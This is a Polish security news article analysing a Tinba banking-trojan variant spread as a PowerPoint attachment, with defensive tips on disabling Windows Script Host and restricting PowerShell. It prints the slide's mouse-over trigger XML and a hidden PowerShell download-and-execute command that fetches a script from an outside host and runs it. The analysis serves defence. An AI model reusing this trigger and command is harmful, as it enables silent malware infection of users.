Entuzjaści bezpieczeństwa z firmy SentinelOne odkryli zmodyfikowaną wersję trojana bankowego Tinba, który w 2015 roku rozprzestrzeniany był w spamie i podszywając się pod Pocztę Polską, infekował komputery polskich internautów.
Trojan Tinba, znany także jako Zusy i Tiny Banker, po raz pierwszy został odkryty w 2012 roku. Dwa lata później w 2014 roku, w statystykach laboratorium firmy G Data, został zakwalifikowany do najczęściej atakujących wirusów polskich i niemieckich użytkowników bankowości internetowej. Nowsze i ulepszone wersje Tinby wykorzystują algorytm generowania domen (ang. domain generation algorithm – DGA), który sprawia, że złośliwe oprogramowanie może nadal wysyłać wykradzione dane i przyjmować zdalne polecenia nawet po zlikwidowaniu master serwera, który nim zarządza.
Trojan bankowy Tinba wykorzystuje technikę ataku man-in-the-browser. W 2015 roku w bardzo podobnym ataku klient „mBanku” utracił w ten sposób 40 000 złotych, pomimo że jego komputer był chroniony przez oprogramowanie antywirusowe firmy Symantec.
Nowy trojan, nowy typ ataku
Ulepszony wariant Tinby zidentyfikowano „in-the-wild” w pliku PowerPoint (rozszerzenie .PPT), który był załączony do wiadomości e-mail z potwierdzeniem zamówienia. Nie będziemy rozwodzić się nad sposobem dostarczenia trojana w spamie – najbardziej interesującym aspektem jest sposób, w jaki trojan infekuje urządzenie:
– Trojan nie wykorzystuje złośliwych poleceń makro (w ten sposób, autorzy złośliwego oprogramowania zazwyczaj posługują się interpreterem Powershell do zainicjowania szkodliwych zdarzeń, np. pobrania ze zdalnego serwera i uruchomienia dodatkowych wirusów).
– Rola użytkownika w procesie infekowania sprowadzona jest do niezbędnego minimum: wystarczy najechanie myszą na hiperłącze, które znajduje się w dokumencie:
W tym momencie wyzwalany jest kod:
<a:hlinkMouseOver r:id="rId2" action="ppaction://program"/>
Definicja rId2 znajduje się w pliku ppt/slides/_rels/slide1.xml.rels:
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="powershell%20-NoP%20-NonI%20-W%20Hidden%20-Exec%20Bypass%20%22IEX%20(New-Object%20System.Net.WebClient).DownloadFile (%27http%3A%27%2B%5Bchar%5D%200x2F%2B%5Bchar%5D%200x2F%2B%27cccn .nl%27%2B%5Bchar%5D%200x2F%2B%27c.php%27%2C%5C%22%24env%3Atemp%5Cii.jse%5C%22)%3B%20Invoke-Item%20%5C%22%24env%3Atemp%5Cii.jse%5C%22%22" TargetMode="External"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/>
Kolejno uruchamiany jest skryp w Powershellu, który niezauważenie pobiera plik c.php i zapisuje go jako ii.jse:
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('hxxp://cccn.nl/c.php','$env:tempii.jse'); Invoke-Item '$env:tempii.jse'"
Z kolei plik ii.jse jest traktowany jako JavaScript Executable i jest uruchamiany przez systemowe narzędzie wscript.exe. Następny krok to już automatyczne pobranie i uruchomienie trojana bankowego ukrywającego się pod postacią pliku EXE.
Jak się chronić?
W tym ataku wykorzystano kilka ciekawych technik, którym sprostać mogą tylko rozwiązania ochronne charakteryzujące się wielowarstwową ochroną w czasie rzeczywistym oraz ochroną przed złośliwymi skryptami.
Autorzy trojana bankowego Tinba zastosowali:
- spam, aby dostarczyć na komputery użytkowników szkodliwe pliki,
- socjotechnikę, aby przekonać lub wzbudzić zaufanie do otrzymanej wiadomości i załączonych plików,
- nieczęsto spotykaną technikę uruchomienia skryptu Powershell w dokumencie PowerPoint,
- pobranie złośliwego skryptu JavaScript za pośrednictwem systemowego interpretera Powershell,
- uruchomienie trojana bankowego poprzez dobrze ukryty, typowy downloader napisany w języku JavaScript.
Już w następnym tygodniu opublikujemy szczegółowy test, w którym do sprawdzenia ochrony programów zabezpieczających przed podobnymi atakami wykorzystaliśmy ataki drive-by download.
Rola, jaką odgrywają złośliwe skrypty uruchamiane przez interpreter Powershell, zaczyna nabierać na znaczeniu. Istotne jest, aby przy wyborze produktu bezpieczeństwa kierować się nie tylko skuteczną behawioralną ochroną, ale (w dobie podobnych ataków, których świadkami będziemy coraz częściej) przede wszystkim mechanizmami radzącymi sobie z blokowaniem skryptów, które są uruchamiane przez systemowe i zaufane procesy: cmd.exe, powershell.exe, wscript.exe, cscript.exe.
Niestety, ale w teście na ochronę przed atakami drive-by download, większość przebadanych przez AVLab programów ochronnych pozwala na uruchamianie i wykonywanie złośliwych skryptów, które przecież dla interpretera są po prostu „kodem”, który trzeba uruchomić – bez kategoryzowania zawartych znaków na groźne lub bezpieczne. W tym aspekcie ochrony, znaczna część programów antywirusowych jest po prostu niedostosowana do współczesnych zagrożeń, które korzystają z bezpiecznych procesów systemowych i podpisanych cyfrowo plików przez Microsoft.
Prewencja
Skutecznym, prewencyjnym zabezpieczeniem się przed wirusami, które używają programu wscript.exe (GUI) lub cscript.exe (konsola) do pobierania docelowych szkodliwych plików, będzie ich całkowite wyłączenie. Jeżeli użytkownik nie uruchamia żadnych skryptów w systemie, to dla własnego bezpieczeństwa oba te programy mogą zostać wyłączone i w razie potrzeby ponownie aktywowane. Aby to zrobić, wystarczy dodać do klucza „Settings” wartość „Enabled” i ustawić na „0”:
HKEY_CURRENT_USERSoftwareMicrosoftWindows Script HostSettings"
Z kolei dezaktywowanie interpretera Powershell.exe możliwe jest dla użytkowników Windows 10 Pro w edytorze lokalnych zasad grupy (gpedit.msc -> składniki systemu Windows). Co więcej, skorzystanie z blockera AppLocker i dodanie reguły uniemożliwiającej uruchamianie skryptów z rozszerzeniem .”ps1„, a także permanentne blokowanie skryptów i plików niepodpisanych, będzie bardzo dobrą praktyką.
